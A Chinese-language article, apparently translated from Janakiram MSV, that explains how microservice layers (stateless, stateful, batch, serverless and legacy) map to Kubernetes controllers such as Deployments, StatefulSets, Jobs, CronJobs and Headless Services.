Kubernetes的声明式配置鼓励不可变的基础架构。控制平面跟踪和管理部署,以确保在整个应用程序生命周期中维护所需的配置状态。与基于虚拟机的传统部署相比,DevOps工程师将花费更少的时间来维护工作负载。利用Kubernetes原语和部署模式的有效CI/CD策略使运营商无需执行繁琐的任务。

可扩展层:无状态工作负载

无状态工作负载在Kubernetes中打包并部署为ReplicaSet。ReplicationController构成ReplicaSet的基础,可确保在任何给定时间始终运行指定数量的pod副本。换句话说,ReplicationController确保一个pod或一组同类pod总是可用。

如果有太多pod,ReplicationController可能会终止额外的pod。如果太少,ReplicationController将继续启动其他pod。与手动创建的pod不同,ReplicationController维护的pod在失败,删除或终止时会自动替换。在诸如内核升级之类的破坏性维护之后,在节点上重新创建pod。因此,即使应用程序只需要一个pod,也建议使用ReplicationController。

一个简单的用例是创建一个ReplicationController对象,以无限期地可靠地运行pod的一个实例。更复杂的用例是运行横向扩展服务的几个相同副本,例如Web服务器。在Kubernetes中部署时,DevOps团队和运营商将无状态工作负载打包为ReplicationControllers。

在*近的Kubernetes版本中,ReplicaSets取代了ReplicationControllers。它们都针对相同的场景,但ReplicaSet使用基于 集合的标签选择器 ,这使得可以使用基于注释的复杂查询。此外,Kubernetes中的部署依赖于ReplicaSet。

Deployment是ReplicaSet的抽象。在Deployment对象中声明所需状态时,Deployment控制器会以受控速率将实际状态更改为所需状态。

强烈建议部署管理云原生应用程序的无状态服务。虽然服务可以部署为pod和ReplicaSet,但部署可以更轻松地升级和修补应用程序。DevOps团队可以使用部署来升级pod,而无法使用ReplicaSet完成。这样就可以在*短的停机时间内推出新版本的应用程序。部署为应用程序管理带来了类似于服务(PaaS)的功能。

持久层:有状态的工作量

状态工作负载可以分为两类:需要持久存储的服务(单实例)和需要以高可靠性和可用模式运行的服务(复制的多实例)。需要访问持久存储后端的pod与为关系数据库运行集群的一组pod非常不同。虽然前者需要长期持久的持久性,但后者需要高可用性的工作量。Kubernetes解决了这两种情况。

可以通过将底层存储暴露给服务的卷来支持单个pod。可以将卷映射到调度pod的任意节点。如果在集群的不同节点上调度多个pod并需要共享后端,则在部署应用程序之前手动配置分布式文件系统(如网络文件系统(NFS)或Gluster)。云原生态系统中提供的现代存储驱动程序提供容器本机存储,其中文件系统本身通过容器公开。当pod只需要持久性和持久性时,请使用此配置。

对于预计具有高可用性的场景,Kubernetes提供StatefulSets – 一组专门的pod,可确保pod的排序和唯一性。这在运行主要/辅助(以前称为主/从)数据库集群配置时尤其有用。

与部署类似,StatefulSet管理基于相同容器规范的pod。与Deployment不同,StatefulSet为其每个pod保留唯一标识。这些pod是根据相同的规范创建的,但不可互换:每个pod都有一个持久标识符,它可以在任何重新安排时保留。

StatefulSet对需要以下一项或多项的工作负载非常有用:

  • 稳定,独特的网络标识符。
  • 稳定,持久的存储。
  • 有序,优雅的部署和扩展。
  • 有序,优雅的删除和终止。
  • 有序的自动滚动更新。

Kubernetes对StatefulSets的处理方式与其他控制器不同。当正在使用N个副本调度StatefulSet的pod时,将按顺序创建它们,顺序从0到N-1。当删除StatefulSet的pod时,它们以相反的顺序终止,从N-1到0。在将一个扩展操作应用于pod之前,它的所有前驱必须正在运行并准备就绪。Kubernetes确保在终止pod之前,其所有后继者都完全关闭。

当服务需要运行Cassandra、MongoDB、MySQL、PostgreSQL集群或任何具有高可用性要求的数据库工作负载时,建议使用StatefulSet。

并非每个持久性工作负载都必须是StatefulSet。某些容器依赖于持久存储后端来存储数据。为了向这些类型的应用程序添加持久性,pod可能依赖于由基于主机的存储或容器本机存储后端支持的卷。

可并行化层:批处理

Kubernetes具有用于批处理的内置原语,这对于执行运行到完成作业或预定作业很有用。

运行到完成作业通常用于运行需要执行操作和退出的进程。在处理数据之前运行的大数据工作负载就是这种工作的一个例子。另一个示例是一个处理队列中每条消息的作业,直到队列变空。

作业是一个控制器,可以创建一个或多个pod并确保指定数量的pod成功终止。当pod成功完成后,Job会跟踪成功的完成情况。达到指定数量的成功完成后,作业本身就完成了。删除作业将清理它创建的pod。

Job还可以用于并行运行多个pod,这使其成为机器学习培训工作的理想选择。Job还支持并行处理一组独立但相关的工作项。

当Kubernetes在具有GPU的硬件上运行时,机器学习培训可以利用Job。诸如Kubeflow之类的新兴项目 – 一个致力于在Kubernetes上部署机器学习的简单,可移植和可扩展的项目 – 将把原始资料作为job包装到机器学习培训中。

除了运行并行化作业外,可能还需要运行预定作业。Kubernetes公开了CronJobs,它可以在指定的时间点运行一次,也可以在指定的时间点定期运行。Kubernetes中的CronJob对象类似于Unix中crontab(cron表)文件的一行。它以给定的时间表定期运行,以cron格式编写。

Cron作业对于安排定期作业(如数据库备份或发送电子邮件)特别有用。

事件驱动层:无服务器(Serverless)

无服务器计算(Serverless)是指构建和运行不需要服务器管理的应用程序的概念。它描述了一种更细粒度的部署模型,其中捆绑为一个或多个功能的应用程序上传到平台,然后执行,缩容和计费以响应当前所需的确切需求。

函数即服务(FaaS)在无服务器计算的环境中运行,以提供事件驱动的计算。开发人员使用由事件或HTTP请求触发的功能来运行和管理应用程序代码。开发人员将小型代码单元部署到FaaS,这些代码根据实际需要作为独立组件执行,无需管理服务器或任何其他底层基础架构即可进行扩展。

虽然Kubernetes没有集成的事件驱动原语来响应其他服务引发的警报和事件,但仍有努力引入事件驱动的功能。该云原生计算基金会 ,Kubernetes的托管者,一直专注于这些致力于无服务器的工作组。Apache OpenWhisk 、Fission 、Kubeless 、OpenFaaS 和 Oracle的Fn 等开源项目可以在Kubernetes集群中作为事件驱动的无服务器层运行。

在无服务器环境中部署的代码与打包为pod的代码根本不同。它由自治函数组成,可以连接到可能触发代码的一个或多个事件。

当事件驱动计算——无服务器计算成为Kubernetes不可或缺的一部分时,开发人员将能够部署响应Kubernetes控制平面生成的内部事件以及应用程序服务引发的自定义事件的函数。

遗留层:Headless Service

即使您的组织经常使用微服务架构构建和部署应用程序到云上的容器中,也可能有一些应用程序继续存在于Kubernetes之外。云原生应用程序和服务必须与那些传统的单一应用程序进行交互。

遗留层的存在是为了实现互操作性,以暴露一组指向单体应用程序的Headless Service。Headless Service允许开发人员通自由地以自己的方式进行服务发现来减少与Kubernetes系统的耦合。Kubernetes中的Headless Services与ClusterIP、NodePort和LoadBalancer类型的服务不同。它们没有分配给它们的Internet协议(IP)地址,但具有指向外部端点(如API Server、Web服务器和数据库)的域名系统(DNS)条目。遗留层是一个逻辑互操作性层,它将DNS记录维护到众所周知的外部端点。

微服务应用程序的每一层都可以映射到Kubernetes的一个控制器。根据希望部署的模式,DevOps团队可以进行相应的选择。在下一篇文章中,我们将讨论将云原生应用程序部署到Kubernetes的一些*佳实践。

关于作者

Janakiram MSV是Janakiram&Associates的首席分析师,也是国际信息技术学院的兼职教员。他还是Google认证云开发人员,亚马逊认证解决方案架构师,亚马逊认证开发人员,亚马逊认证SysOps管理员和Microsoft认证Azure专业人员。Janakiram是云原生计算基金会的大使,也是*早的认证Kubernetes管理员和认证Kubernetes应用程序开发人员之一。他之前的经历包括Microsoft、AWS、Gigaom Research和Alcatel-Lucent。

友情链接: SITEMAP | 旋风加速器官网 | 旋风软件中心 | textarea | 黑洞加速器 | jiaohess | 老王加速器 | 烧饼哥加速器 | 小蓝鸟 | tiktok加速器 | 旋风加速度器 | 旋风加速 | quickq加速器 | 飞驰加速器 | 飞鸟加速器 | 狗急加速器 | hammer加速器 | trafficace | 原子加速器 | 葫芦加速器 | 麦旋风 | 油管加速器 | anycastly | INS加速器 | INS加速器免费版 | 免费vqn加速外网 | 旋风加速器 | 快橙加速器 | 啊哈加速器 | 迷雾通 | 优途加速器 | 海外播 | 坚果加速器 | 海外vqn加速 | 蘑菇加速器 | 毛豆加速器 | 接码平台 | 接码S | 西柚加速器 | 快柠檬加速器 | 黑洞加速 | falemon | 快橙加速器 | anycast加速器 | ibaidu | moneytreeblog | 坚果加速器 | 派币加速器 | 飞鸟加速器 | 毛豆APP | PIKPAK | 安卓vqn免费 | 一元机场加速器 | 一元机场 | 老王加速器 | 黑洞加速器 | 白石山 | 小牛加速器 | 黑洞加速 | 迷雾通官网 | 迷雾通 | 迷雾通加速器 | 十大免费加速神器 | 猎豹加速器 | 蚂蚁加速器 | 坚果加速器 | 黑洞加速 | 银河加速器 | 猎豹加速器 | 海鸥加速器 | 芒果加速器 | 小牛加速器 | 极光加速器 | 黑洞加速 | movabletype中文网 | 猎豹加速器官网 | 烧饼哥加速器官网 | 旋风加速器度器 | 哔咔漫画 | PicACG | 雷霆加速